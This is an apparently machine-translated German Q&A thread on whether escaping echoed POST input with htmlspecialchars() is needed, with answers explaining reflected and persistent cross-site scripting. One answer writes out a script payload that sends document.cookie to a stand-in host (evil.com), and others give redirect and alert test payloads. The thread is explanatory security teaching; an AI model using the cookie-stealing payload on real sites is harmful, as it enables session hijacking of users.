2012-03-27 11 views
0

Ich war auf der Suche auf der php.net manual und es hatte diese Codezeile:Ist so viel Entkommen notwendig?

Hi <?php echo htmlspecialchars($_POST['name']); ?>. 
You are <?php echo (int)$_POST['age']; ?> years old. 

Er sagt unter:

htmlspecialchars() stellt sicher, dass alle Zeichen, die richtig codiert, damit die Menschen in HTML-Sonder sind kann keine HTML-Tags oder Javascript in Ihre Seite einfügen.

Ist das wirklich notwendig?

Kann jemand wirklich bösartigen Code in diese eine Zeile einfügen? Worüber muss man sich Sorgen machen? Kann etwas in diese Zeile injiziert werden, um einen PHP-Code auszuführen? Sind sie nur daran gewöhnt, das zu beobachten, obwohl es in diesem Fall keine Bedrohung gibt?

+1

Ja ist es. Selbst wenn es kein Sicherheitsproblem gab (es gibt, siehe Antworten), ist es sehr ärgerlich, wenn eine Seite bricht (oder einen Teil der Eingabe stillschweigend ausschneidet), weil jemand vollkommen perfekte Daten eingibt, die zufälligerweise einige in HTML Markup verwendete Zeichen enthalten . – delnan

+0

Ich dachte, du nennst 'htmlspecialcharacters' zweimal –

+1

Eine gute Faustregel beim Schreiben von Webanwendungen ist es, ** niemals ** Benutzereingaben zu vertrauen. – NullUserException

Antwort

5

entkommen zu sein, wenn jemand den Namen zufällig:

<script>document.write('<img src="http://www.evil.com/worm.php?'+document.cookie+'"/>');</script> 

Dann ein Wurm könnte entfesselt werden auf Ihrer Website. Im Wesentlichen ist der Wurm nur ein Skript, das den Benutzer Session-Cookie nimmt, sich anmeldet und dann bösartiges Zeug macht, das sich repliziert, wenn mehr Leute es sehen.

+1

Großartiges Beispiel für das Stehlen von Cookies. +1. – ceejayoz

4

Ja, es ist notwendig. Siehe Wikipedia für Informationen auf cross-site scripting vulnerabilities.

PHP kann nicht mit XSS ausgeführt werden, aber ein Angreifer könnte einen Session-Cookie stehlen. Möglicherweise katastrophal, wenn dieser Sitzungscookie beispielsweise für einen Administrator auf einem CMS verwendet wird.

+0

Was in der Welt würde das in diesem Fall passieren? Wenn er etwas wie "" phpinfo(); ""? – qwertymk

+0

Nein, er hat einen JavaScript-Code eingegeben, der eine Anfrage sendet, die den Wert "document.cookie" des Benutzers an einen Drittanbieterserver weiterleitet. Wie gesagt, PHP kann nicht über diese Art von Exploit ausgeführt werden (es sei denn, Sie validieren $ _POST-Variablen oder so). – ceejayoz

+1

@ceejayoz 'evue'ing Benutzereingabe ... Das ist immer eine brillante Idee! – NullUserException

2

Es ist nicht nur für die Sicherheit. Wenn Sie beispielsweise Fred&Jen als $_POST['name'] erhalten, würde dies ein XML-Dokument ungültig machen.

0

Ja könnte jemand zum Beispiel etwas Javascript-Code injizieren, der, wenn er angezeigt würde, sie zum Beispiel zu einer anderen Seite umleiten würde (was ziemlich harmlos ist).

Beispiel:

<script type="text/javascript"> 
window.location = "http://www.google.com/" 
</script> 

den Benutzer umleiten würde googeln, wenn es geschrieben werden sollten, ohne

1

Wenn Sie nur die gleichen Posts von Benutzern drucken, können sie Ihnen oder anderen Benutzern nicht viel schaden. Es ist jedoch trotzdem nützlich, da der Benutzer ">" und "<" verwenden könnte und sie würden die Darstellung des Inhalts ruinieren.

Wenn Sie jedoch den Inhalt zeigen, den andere Benutzer einreichen, wird dies viel gefährlicher.

Benutzer kann alles von Links zu anderen Seiten zu Javascript injizieren.

Und alle Benutzer, die zu der Website kommen, die dieses Bit des von Benutzern eingereichten Inhalts anzeigt, werden zu evilsite umgeleitet.

+0

Sie sagen, ein reflektierendes XSS kann keinen Schaden anrichten? Es gibt viele Möglichkeiten, ein reflektierendes XSS zu nutzen, nur weil es kein persistentes XSS ist, bedeutet es nicht, dass es unverwundbar ist. – MrCode

0

PHP-Code kann nicht in dieses Feld eingefügt werden, da er nicht vom PHP-Interpreter ausgewertet wird, jedoch führt er das Potenzial für Cross-Site-Scripting ein.

Sie können dies testen, indem Sie so etwas wie dies mit:

<form action="" method="POST"> 
<input type="text" name="name"/> 
<input type="submit"/> 
</form> 

<?php 
if(isset($_POST['name'])){?> 
    Hi <?php echo htmlspecialchars($_POST['name']); ?>. 
<?php}?> 

Dann im Feld "Name", diesen Code einreichen und sehen, was passiert:

XSS
<script type="text/javascript">alert("P0WN3D");</script> 
2

Die Gefahr hier ist. Es ist Javascript-Code, den ein Angreifer mit einem XSS-Angriff ausführen würde.

für sich selbst zu sehen, die htmlspecialchars entfernen() dann schreiben Sie diese als name:

<script>alert('xss')</script> 

Sie, dass Ihre PHP-Code, wird gedruckt sehen werden und der Browser die Javascript ausführen. Die häufigsten XSS-Angriffe betreffen Webanwendungen, bei denen ein Benutzer angemeldet ist. Ein erfolgreicher XSS-Angriff könnte den Sitzungs-ID-Cookie des Opfers unter Verwendung von document.cookie lesen und dann an die Angreifer-Website senden, wo der Angreifer mit einem Session-Hijack fortfahren könnte.

Dieser Angriff ist bekannt als Reflektierende XSS. Eine schwerere Art von XSS ist ein Persistentes XSS, wo Sie zum Beispiel die Eingabe in eine Datenbank speichern, dann drucken Sie es auf Ihrer Homepage für alle Benutzer zu sehen, oder eine andere Seite. Ein persistentes XSS ist viel schädlicher, da jeder Besucher der Seite, auf dem das XSS persistiert, angegriffen werden kann, ohne den Angriff für jedes Opfer neu starten zu müssen.

0

Kann jemand tatsächlich bösartigen Code in diese eine Zeile einfügen?
Ja.

enter image description here

+0

Während lustig, das ist eine SQL-Injektion, die nicht das war, was ich fragte – qwertymk

+0

True Ihre Frage betrifft clientseitigen Sicherheitslücken. Auf der anderen Seite ist die Lektion, die hier gelernt wird, die gleiche: Löse niemals unanitisierte Eingaben. Egal ob Client-Seite, Server-Seite, SQL, HTML, PHP, Perl, was auch immer. Wenn Sie Code schreiben, der Eingaben von nicht vertrauenswürdigen Quellen akzeptiert, rendern Sie die Eingabe nicht direkt. –